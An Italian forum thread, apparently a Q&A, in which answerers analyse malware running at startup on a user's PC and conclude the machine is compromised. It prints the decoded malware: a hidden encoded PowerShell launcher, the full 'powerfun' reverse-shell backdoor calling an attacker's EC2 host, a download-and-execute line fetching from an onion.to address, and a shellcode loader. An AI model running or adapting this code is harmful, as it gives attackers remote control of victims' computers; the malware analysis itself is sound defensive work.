Codice strano in esecuzione all'avvio

Versione breve

L'utente malintenzionato può eseguire qualsiasi comando di PowerShell sulla macchina e può essere trovato assumendo il proprietario di " ec2-54-169-248-105.ap-southeast-1.compute.amazonaws.com ".

Versione lunga

Ho scaricato l'array binario in un file e l'ho caricato su VirusTotal .

Il file appena lanciato mi sembra uno stadio aggiuntivo poiché è molto piccolo (1,7 kb) e verrà eseguito per 10 secondi solo perché sarà associato a PowerShell (poiché l'utente malintenzionato crea una discussione anziché avviarla come un processo separato) e la terminazione viene ritardata di 10 secondi all'ultimo comando.

Aggiornamento: non sono purtroppo in grado di eseguire il reverse-engineer assembly, ma una rapida occhiata al file usando un editor di testo ha rivelato la seguente stringa:

powershell.exe -exec bypass -nop -W hidden -noninteractive IEX $(
$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String(
'A really long base64 full code can be found below'));
IEX (New-Object IO.StreamReader(
New-Object IO.Compression.GzipStream($s,
[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();)

Tuttavia, questo stage utilizza anche GZIP come ulteriore livello di offuscamento su Base64, ma può ancora essere scaricato a:

# Powerfun - Written by Ben Turner & Dave Hardy

function Get-Webclient 
{
    $wc = New-Object -TypeName Net.WebClient
    $wc.UseDefaultCredentials = $true
    $wc.Proxy.Credentials = $wc.Credentials
    $wc
}
function powerfun 
{ 
    Param( 
    [String]$Command,
    [String]$Sslcon,
    [String]$Download
    ) 
    Process {
    $modules = @()  
    if ($Command -eq "bind")
    {
        $listener = [System.Net.Sockets.TcpListener]9999
        $listener.start()    
        $client = $listener.AcceptTcpClient()
    } 
    if ($Command -eq "reverse")
    {
    $client = New-Object  System.Net.Sockets.TCPClient("ec2-54-169-248-105.ap-southeast-1.compute.amazonaws.com",9999)
    }

    $stream = $client.GetStream()

    if ($Sslcon -eq "true") 
    {
        $sslStream = New-Object System.Net.Security.SslStream($stream,$false,({$True} -as [Net.Security.RemoteCertificateValidationCallback]))
        $sslStream.AuthenticateAsClient("ec2-54-169-248-105.ap-southeast-1.compute.amazonaws.com") 
        $stream = $sslStream 
    }

    [byte[]]$bytes = 0..20000|%{0}
    $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "'nCopyright (C) 2015 Microsoft Corporation. All rights reserved.'n'n")
    $stream.Write($sendbytes,0,$sendbytes.Length)

    if ($Download -eq "true")
    {
        $sendbytes = ([text.encoding]::ASCII).GetBytes("[+] Loading modules.'n")
        $stream.Write($sendbytes,0,$sendbytes.Length)
        ForEach ($module in $modules)
        {
            (Get-Webclient).DownloadString($module)|Invoke-Expression
        }
    }

    $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
    $stream.Write($sendbytes,0,$sendbytes.Length)

    while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
    {
        $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
        $data = $EncodedText.GetString($bytes,0, $i)
        $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )

        $sendback2  = $sendback + 'PS ' + (Get-Location).Path + '> '
        $x = ($error[0] | Out-String)
        $error.clear()
        $sendback2 = $sendback2 + $x

        $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
        $stream.Write($sendbyte,0,$sendbyte.Length)
        $stream.Flush()  
    }
    $client.Close()
    $listener.Stop()
    }
}

powerfun -Command reverse -Sslcon true

Questa è una backdoor di PowerShell piuttosto semplice che si connette a un server e quindi consente all'utente malintenzionato di eseguire in remoto i comandi di PowerShell sul computer. Questo script "powerfun" può essere trovato su GitHub googiando due secondi quindi non lo collegherò qui per non allungare i limiti anti-spam. Tuttavia, confrontandolo con lo script originale, noterai subito che l'autore dell'attacco ha cambiato l'indirizzo del server remoto in " ec2-54-169-248-105.ap-southeast-1.compute.amazonaws.com "e la porta su 9999 , quindi dovrebbe essere facile tenere traccia dell'attaccante se necessario.

Infine: Il server sta ancora ascoltando quella porta, quindi è l'autore dell'attacco in grado di controllare il tuo computer!

Versione breve

La tua macchina è compromessa e l'utente malintenzionato controlla ancora il tuo computer.

Versione lunga

Decodificando l'espressione codificata base64 (la stringa passata nell'argomento -Enc ), ottieni il codice che viene eseguito da PowerShell:

[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
iex (New-Object Net.WebClient).DownloadString("https://lc25qj2gdcaidarc.onion.to:443/LeTrWHzIq")

Questo codice scarica fondamentalmente altro codice PowerShell da un servizio nascosto Tor (tramite il gateway onion.to , che consente di accedere ai servizi nascosti Tor da una macchina che non è connessa a Tor) ed esegue.

Ecco il codice che viene scaricato ed eseguito (ancora una volta, esecuzione in linea di uno script PowerShell codificato in base 64):

powershell -Enc [long base64 encoded string]

Che corrisponde al seguente codice una volta decodificato:

$c = @"
[DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr w, uint x, uint y, uint z);
[DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr u, uint v, IntPtr w, IntPtr x, uint y, IntPtr z);
[DllImport("msvcrt.dll")] public static extern IntPtr memset(IntPtr x, uint y, uint z);
"@
$o = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru
$x = $o::VirtualAlloc(0, 0x1000, 0x3000, 0x40)
[Byte[]]$sc = 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for ($i=0; $i -le ($sc.Length-1); $i++) {
    $o::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1) | out-null
}
$z = $o::CreateThread(0, 0, $x, 0, 0, 0)
Start-Sleep -Second 100000

Da quanto ho capito, questo codice importa DLL di sistema e quindi esegue un codice nativo (l'array di byte lunghi sulla riga 8).

Per approfondire, è possibile ricostruire il codice nativo dall'array di byte e inviarlo a VirusTotal per cercare di identificare quale malware sia o eseguire direttamente lo script di PowerShell in una sandbox per analizzare dinamicamente il suo comportamento.

EDIT: un'analisi di quest'ultima parte è disponibile nella risposta di VincBreaker .

È in esecuzione uno script PowerShell con codice Powershell codificato Base64.

Questo è il codice Powershell decodificato in esecuzione:

[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
iex (New-Object Net.WebClient).DownloadString("https://lc25qj2gdcaidarc.onion.to:443/LeTrWHzIq")

Quindi questo script sta scaricando e invocando il contenuto da https://lc25qj2gdcaidarc.onion.to:443/LeTrWHzIq

Ti permetterò di approfondire, dato che sono cauto nel navigare verso un link potenzialmente dannoso. Soprattutto perché proviene da * .onion.to, un indirizzo TOR.